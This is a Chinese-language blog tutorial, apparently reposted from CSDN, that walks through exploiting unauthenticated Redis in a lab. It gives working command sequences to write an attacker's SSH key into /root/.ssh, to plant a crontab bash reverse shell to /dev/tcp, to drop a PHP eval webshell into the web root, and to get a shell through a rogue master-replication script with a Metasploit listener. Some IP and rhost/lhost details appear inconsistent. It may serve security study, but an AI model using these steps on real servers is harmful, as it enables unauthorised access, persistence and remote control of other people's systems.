Redis数据库漏洞总结

目录

Redis简介

Redis基本常识

Redis常用命令 

环境搭建

注意事项

漏洞复现

写 ssh-keygen 公钥登录服务器

利用计划任务反弹shell

Redis直接写webshell

Redis主从复制getshell

 


Redis简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。是非关系型数据库

Redis基本常识

Redis默认开放端口为6379端口,其配置文件位置为 /etc/redis/redis.conf ,Redis默认是不需要账号密码的,因此Redis的未授权漏洞一直很火。

Redis常用命令 

set   xl   123                                        设置键xl的值为123

get   xl                                                 获取键xl的内容

INCR xl                                               使用INCR命令将xl的值增加1

keys *                                                  列出当前数据库中所有的键

config set protected-mode no             关闭安全模式

config set dir /root/redis                      设置保存目录

config set dbfilename redis.rdb          设置保存文件名

config get dir                                       查看保存目录

config get dbfilename                         查看保存文件名

save                                                   进行一次备份操作

flushall                                                删除所有数据

del key                                                删除键为key的数据

slaveof ip port                                     设置主从关系,将当前服务器转变为指定服务器的从属服务器

环境搭建

  • 靶机1:unbuntu  16     192.168.31.134
  • 靶机2:unbuntu  16     192.168.31.131
  • 攻击机:kali                  192.168.31.128

首先在靶机上都按安装redis

  • sudo apt-get update
  • sudo  apt-get install  redis-server
  • 启动redis-server时,一定要加上配置文件,例如:
  • redis-server /etc/redis/redis.conf

注意事项

新版本Ubuntu系统增添了apparmor此软件,会对目录穿越有很大限制,因此复现漏洞需要关闭此服务 命令为

  • service apparmor stop

漏洞复现

写 ssh-keygen 公钥登录服务器

原理

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种就是密钥验证

密钥验证原理

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密

密钥验证过程

  • 前提条件是手动将客户端的公钥发送给服务器,并填入authorized_keys文件中。
  • 客户端把用户验证的密钥对ID发送给服务器;
  • 服务器根据密钥对ID在对应用户的authorized_keys文件中进行检索;
  • 假设服务器在文件中找到符合密钥对ID的公钥,服务器将生成一个随机数,并用这个公钥进行加密;
  • 服务器将加密后的信息发送给客户端;
  • 假设客户端拥有对应的私钥,就可以解密出原来的随机数;
  • 客户端将得到的随机数与加密会话所用的会话密钥拼接一起后,计算其MD5哈希值;
  • 客户端将MD5哈希值发送回服务器;
  • 服务器使用相同的会话共享密钥和他生成的随机数计算出MD5哈希值,并与客户端返回的MD5哈希值进行比较。如果两个值相等,证明客户端拥有对应私钥,则通过验证。

利用条件

  • Redis服务器账号必须有root权限
  • 服务器开放SSH服务,且允许使用密钥登录

漏洞复现

1.在kali攻击机上生成密钥文件,公钥文件默认路径:/root/.ssh/id_rsa.pub

  • ssh-keygen  -t rsa  -f Redis    -t 指定认证方式     -f  指定文件名称

2.通过Redis未授权,将公钥发送到目标服务器上

  • redis-cli -h 192.168.31.134
  • config get dir
  • config get  dbfilename
  • config set dir "/root/.ssh"
  • config set dbfilename  authorzed_keys
  • set xl "\n\n公钥\n\n"
  • save

3.然后通过SSH直接访问目标服务器

利用计划任务反弹shell

unbuntu的计划任务放在/var/spool/cron/crontab文件中,root用户权限可直接修改计划任务,可将反弹shell命令直接写入计划任务中

条件:

  • root启用Redis
  • redis无密码或者弱密码

漏洞复现

1. 首先kali利用nc监听本机4444端口

  • nc -lvp  4444

2.然后在redis中执行以下命令

  • redis-cli -h 192.168.31.134                                                                     连接目标服务器
  • flushall                                                                                                    清除所有键值 
  • config  set dir  "/var/spool/cron/crontabs"                                               设置保存文件路径
  • config  set dbfilename    shell                                                                设置保存文件名称
  • set  xl  "\n  * * * * * bash -i >& /dev/tcp/192.168.31.134/4444 0>&1\n"  将反弹shell写入xl键值中
  • save                                                                                                       保存

3.然后等着计划任务反弹shell,这里坑很多,希望大家不要用ubuntu复现这个漏洞,因为坑太多了,推荐使用centos系统来复现计划任务这个漏洞。

Redis直接写webshell

条件

  • 知道网站绝对路径,并且需要增删改查权限
  • root启动redis
  • redis弱密码或者无密码

漏洞复现

1.连接目标redis,执行以下命令

  • redis-cli -h 192.168.31.134
  • config set dir  "/var/www/html"
  • config  set dbfilename  shell.php
  • set xl  "\n\n<?php @eval($_POST['cmd']); ?>\n"
  • save

2.然后用蚁剑进行连接

Redis主从复制getshell

原理

当读写体量很大的时候,服务器就很难承受,这个时候Redis的主从模式就派上用场了。主从模式就是指定一个

redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。

条件

  • Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
  • redis弱密码或者无密码
  • root启动redis

环境搭建

  • 靶机1      192.168.31.134     主机
  • 靶机2      192.168.31.135     从机
  • kali          192.168.31.128     攻击机

漏洞复现

1.首先使用靶机1作为从机,配置主从服务器

  • redis-cli 192.168.31.135
  • slaveof   192.168.31.134 6379

2.然后使用大佬的脚本https://github.com/n0b0dyCN/redis-rogue-server我是用的是作者大大现成的so文件

,等我有时间会自己写一个自己的脚本,用别人的总不是好的办法!

该脚本有两种使用方法,一种是交互式shell,另一种是反弹shell,该脚本要运行在攻击机上,rhost:攻击机ip地址,lhost:redis主机ip地址

交互shell演示:

  • python3 redis-rogue-server.py --rhost 192.168.31.128 --lhost 192.168.31.135 --exp module.so

反弹shell演示

1.启动msf,运行侦听模块(也可以使用nc连接)

  • use exploit/multi/handler
  • set payload  generic/shell_reverse_tcp
  • set lhost 192.168.31.128   默认侦听端口为4444
  • run

2.然后运行脚本  

  • python3 redis-rogue-server.py --rhost 192.168.31.128 --lhost 192.168.31.135 --exp module.so
  • 选择r参数,然后输入反弹IP地址和端口号

3.可以看到msf反弹shell成功,开启了一个新会话窗口

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/115588489